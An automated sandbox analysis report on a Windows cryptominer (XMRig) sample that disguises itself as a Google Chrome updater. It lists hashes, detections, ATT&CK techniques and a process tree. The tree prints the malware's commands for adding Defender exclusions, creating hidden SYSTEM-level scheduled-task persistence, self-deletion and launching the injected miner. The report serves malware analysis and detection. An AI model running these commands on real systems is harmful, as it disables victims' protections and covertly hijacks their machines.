xmrig | 67fb42345c7c1d330bea4fe6e0d8695cc715af98dec4fbac9cac330831052642

max time kernel
506s
max time network
1801s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
06/06/2024, 09:55

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General

Target

qM5GMXBk6hJE6Y5e (20).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2768 created 1116	2768	qM5GMXBk6hJE6Y5e (20).exe	20
PID 2768 created 1116	2768	qM5GMXBk6hJE6Y5e (20).exe	20
PID 2768 created 1116	2768	qM5GMXBk6hJE6Y5e (20).exe	20
PID 2768 created 1116	2768	qM5GMXBk6hJE6Y5e (20).exe	20
PID 1540 created 1116	1540	updater.exe	20
PID 1540 created 1116	1540	updater.exe	20
PID 1540 created 1116	1540	updater.exe	20
PID 1540 created 1116	1540	updater.exe	20
PID 1780 created 1116	1780	conhost.exe	20
PID 1540 created 1116	1540	updater.exe	20

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral11/memory/2036-44-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-46-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-48-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-50-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-52-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-54-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-56-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-58-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-60-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-62-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-64-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-66-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-68-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-76-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral11/memory/2036-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1444	powershell.exe
2872	powershell.exe

Deletes itself 1 IoCs

pid	Process
2828	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1540	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
3016	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral11/memory/2036-41-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-44-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-46-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-48-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-50-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-52-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-54-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-56-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-58-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-60-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-62-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-64-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-68-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-76-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral11/memory/2036-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1540 set thread context of 1780	1540	updater.exe	46
PID 1540 set thread context of 2036	1540	updater.exe	53

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (20).exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2500	schtasks.exe
2280	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1464	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 707b8a7dffb7da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2768	qM5GMXBk6hJE6Y5e (20).exe
2768	qM5GMXBk6hJE6Y5e (20).exe
1444	powershell.exe
2768	qM5GMXBk6hJE6Y5e (20).exe
2768	qM5GMXBk6hJE6Y5e (20).exe
2620	powershell.exe
2768	qM5GMXBk6hJE6Y5e (20).exe
2768	qM5GMXBk6hJE6Y5e (20).exe
2768	qM5GMXBk6hJE6Y5e (20).exe
2768	qM5GMXBk6hJE6Y5e (20).exe
2504	powershell.exe
1540	updater.exe
1540	updater.exe
2872	powershell.exe
1540	updater.exe
1540	updater.exe
984	powershell.exe
1540	updater.exe
1540	updater.exe
1540	updater.exe
1540	updater.exe
1780	conhost.exe
1780	conhost.exe
1540	updater.exe
1540	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	2620	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	984	powershell.exe
Token: SeDebugPrivilege	1540	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1464	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1464	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1464	WMIC.exe
Token: SeSecurityPrivilege	1464	WMIC.exe
Token: SeTakeOwnershipPrivilege	1464	WMIC.exe
Token: SeLoadDriverPrivilege	1464	WMIC.exe
Token: SeSystemtimePrivilege	1464	WMIC.exe
Token: SeBackupPrivilege	1464	WMIC.exe
Token: SeRestorePrivilege	1464	WMIC.exe
Token: SeShutdownPrivilege	1464	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1464	WMIC.exe
Token: SeUndockPrivilege	1464	WMIC.exe
Token: SeManageVolumePrivilege	1464	WMIC.exe
Token: SeLockMemoryPrivilege	2036	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 2500	2620	powershell.exe	32
PID 2620 wrote to memory of 2500	2620	powershell.exe	32
PID 2620 wrote to memory of 2500	2620	powershell.exe	32
PID 2828 wrote to memory of 2752	2828	cmd.exe	37
PID 2828 wrote to memory of 2752	2828	cmd.exe	37
PID 2828 wrote to memory of 2752	2828	cmd.exe	37
PID 2504 wrote to memory of 2380	2504	powershell.exe	38
PID 2504 wrote to memory of 2380	2504	powershell.exe	38
PID 2504 wrote to memory of 2380	2504	powershell.exe	38
PID 3016 wrote to memory of 1540	3016	taskeng.exe	40
PID 3016 wrote to memory of 1540	3016	taskeng.exe	40
PID 3016 wrote to memory of 1540	3016	taskeng.exe	40
PID 984 wrote to memory of 2280	984	powershell.exe	45
PID 984 wrote to memory of 2280	984	powershell.exe	45
PID 984 wrote to memory of 2280	984	powershell.exe	45
PID 1540 wrote to memory of 1780	1540	updater.exe	46
PID 1476 wrote to memory of 1464	1476	cmd.exe	51
PID 1476 wrote to memory of 1464	1476	cmd.exe	51
PID 1476 wrote to memory of 1464	1476	cmd.exe	51
PID 1540 wrote to memory of 2036	1540	updater.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1116
- C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (20).exe
  "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (20).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2380
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (20).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2752
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:984
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2280
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1780
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1268
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1464
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2036

C:\Windows\system32\taskeng.exe
taskeng.exe {37715F98-FC77-43D3-B5DB-2C0D1BCCB2AB} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1540

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
44f1ecf63448621d789807b3256319f5

SHA1
44fe962f71cf619e4fe02b3c97e8afcfa877a67f

SHA256
26d37702af6d3ba6f678125a5e5be1fb2d4369104b4774cc5a8bacdd57dff721

SHA512
a03b78db88b394685fa5592ed034942fedb8eaaffcb9e860247ae31b0773992f4497633497878656bc4075986f6ef6334a0a1b8f3867882c13c1933780a067e3

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

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memory/1444-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1444-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1444-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1444-12-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1444-13-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1444-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/1444-7-0x00000000027B0000-0x00000000027B8000-memory.dmp

Filesize
32KB

Download
memory/1444-6-0x000000001B530000-0x000000001B812000-memory.dmp

Filesize
2.9MB

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memory/1444-5-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

Filesize
4KB

Download
memory/1540-33-0x000000013F570000-0x000000013F781000-memory.dmp

Filesize
2.1MB

Download
memory/1540-40-0x000000013F570000-0x000000013F781000-memory.dmp

Filesize
2.1MB

Download
memory/1780-47-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

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memory/1780-43-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/2036-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-64-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-41-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-42-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/2036-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-44-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-46-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-48-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-50-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-52-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-54-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-56-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-58-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-60-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-62-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-66-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-68-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-70-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-76-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2036-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2620-19-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2620-20-0x0000000001D40000-0x0000000001DC0000-memory.dmp

Filesize
512KB

Download
memory/2620-21-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

Filesize
32KB

Download
memory/2768-0-0x000000013F190000-0x000000013F3A1000-memory.dmp

Filesize
2.1MB

Download
memory/2768-23-0x000000013F190000-0x000000013F3A1000-memory.dmp

Filesize
2.1MB

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